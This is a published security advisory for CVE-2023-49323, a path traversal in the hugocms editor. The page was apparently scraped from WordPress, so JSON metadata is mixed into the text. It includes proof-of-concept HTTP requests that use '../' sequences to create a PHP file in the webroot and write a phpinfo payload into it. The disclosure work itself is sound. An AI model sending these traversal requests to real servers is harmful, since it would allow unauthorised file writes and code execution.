Product<\/strong>: hugocms
Affected Version<\/strong>: (latest as of 25.09.2023; commit 77443d6)
Vulnerability Type<\/strong>: CWE-35: Path Traversal
Security Risk<\/strong>: HIGH
Vendor URL<\/strong>: https:\/\/hugoeditor.com\/<\/a>
Vendor Acknowledged Vulnerability<\/strong>: Yes
Vendor Status<\/strong>: Fixed
Advisory Status<\/strong>: Published
CVE Number<\/strong>: CVE-2023-49323
First Published<\/strong>: 2024-07-18
Last Update<\/strong>: 2024-07-18<\/p>\n
Desciption<\/h3>\n
The application hugocms<\/em>, developed by Inter-Data, provides a frontend for the static site generator hugo<\/em> to manage posts, media, and configuration of a hugo website. The application does not provide any access-control mechanism and recommends to restrict access via a web server's basic auth capabilities.<\/p>\n Users with access to hugocms can write arbitrary files on the host system by performing a path traversal. This may lead to remote code execution if the webserver user can write .php<\/strong> files in its webroot. The flaw is present in hugocms\/editor.functions.php<\/strong> and hugocms\/editor.save.php<\/strong>.<\/p>\n The following request uses a path traversal in newFile()<\/strong> to create demo.php<\/strong> in the webroot.<\/p>\n Request:<\/p>\n Afterwards, the file content may be set via a path traversal in the editor.save.php<\/strong> script.<\/p>\n Request:<\/p>\n The following screenshot shows that the file has been created successfully.<\/p>\n Note that further affected functions are present in editor.functions.php<\/strong>. The available functions allow to: This security vulnerability was identified by Florian Dewald of usd AG.<\/p>\n [\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":" usd-2023-0036 | Arbitrary File Writes in hugocms Advisory ID: usd-2023-0036Product: hugocmsAffected Version: (latest as of 25.09.2023; commit 77443d6)Vulnerability Type: CWE-35: Path TraversalSecurity Risk: HIGHVendor URL: https:\/\/hugoeditor.com\/Vendor Acknowledged Vulnerability: YesVendor Status: FixedAdvisory Status: PublishedCVE Number: CVE-2023-49323First Published: 2024-07-18Last Update: 2024-07-18 Desciption The application hugocms, developed by Inter-Data, provides a frontend for the static site generator hugo […]<\/p>\n","protected":false},"author":118,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-22901","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22901","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/118"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=22901"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22901\/revisions"}],"predecessor-version":[{"id":23097,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/22901\/revisions\/23097"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=22901"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}Proof of Concept<\/h3>\n
<\/span>POST<\/span> \/public\/edit\/hugocms\/editor.control.php<\/span> HTTP<\/span>\/<\/span>1.1
<\/span>Host<\/span>:<\/span> 10.1.1.157
<\/span>Content-Type<\/span>:<\/span> application\/x-www-form-urlencoded; charset=UTF-8
<\/span>Content-Length<\/span>:<\/span> 80<\/span>action<\/span>=<\/span>editor%5CnewFile<\/span>&<\/span>data%5Bfilename%5D<\/span>=<\/span>\/..\/..\/..\/..\/..\/var\/www\/html\/test.php<\/span><\/pre>\n<\/div>\n<\/span>POST<\/span> \/public\/edit\/hugocms\/editor.save.php<\/span> HTTP<\/span>\/<\/span>1.1
<\/span>Host<\/span>:<\/span> 10.1.1.157
<\/span>Content-Type<\/span>:<\/span> application\/x-www-form-urlencoded; charset=UTF-8
<\/span>Content-Length<\/span>:<\/span> 67<\/span>file<\/span>=<\/span>\/..\/..\/..\/..\/..\/var\/www\/html\/test.php<\/span>&<\/span>text<\/span>=<\/span><?php+phpinfo();+?><\/span><\/pre>\n<\/div>\n![\"\"](\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2024\/07\/hugocms_pathtraversal-write-300x95.png\")
<\/p>\n
- delete files and folders
- rename files and folders
- create folders<\/p>\nTimeline<\/h3>\n
\n
Credits<\/h3>\n